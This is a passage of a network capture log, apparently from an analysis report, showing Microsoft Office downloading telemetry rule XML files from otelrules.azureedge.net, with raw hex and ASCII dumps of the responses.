2024-11-16 03:33:59 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-16 03:33:59 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:59 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:59 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033359Z-16547b76f7fmbrhqhC1DFWkds80000000p2000000000hu9q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:59 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:59 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:59 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 3faa7a2c-701e-001e-5709-37f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033359Z-16547b76f7fr28cchC1DFWnuws0000000p3000000000nr29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:59 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:59 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:59 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033359Z-1866b5c5fbbz7hb5hC1DFWru7c000000025000000000anux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:59 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:59 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:33:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:33:59 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ab7d284a-001e-005a-348d-36c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033359Z-164f84587bf28gjzhC1DFW35kg000000025000000000e8yz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:33:59 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:33:59 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:00 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:00 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033400Z-16547b76f7f64d6whC1DFWf9vn00000000vg0000000072wc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:00 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:00 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: bd894aa1-501e-008f-0bc4-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033400Z-16547b76f7fljddfhC1DFWeqbs00000002z000000000ryk8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:00 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:00 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:00 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: e44b56bd-701e-0053-1778-353a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033400Z-1866b5c5fbb55pxzhC1DFW1aps000000024000000000r2gx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:00 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:00 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:00 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 23cdba65-001e-0082-460d-375880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033400Z-164f84587bf6h2bxhC1DFWbcm800000002d000000000czpq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:00 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:00 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:00 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033400Z-16547b76f7fk9g8vhC1DFW825400000002x000000000m6uv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:00 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:00 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:00 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033400Z-16547b76f7fmcv27hC1DFWgpcg000000010g00000000bzpc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:00 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:01 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:01 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 99e855e6-501e-00a0-7a09-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033401Z-1866b5c5fbbkcpv2hC1DFWf1yc000000029000000000cbhb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
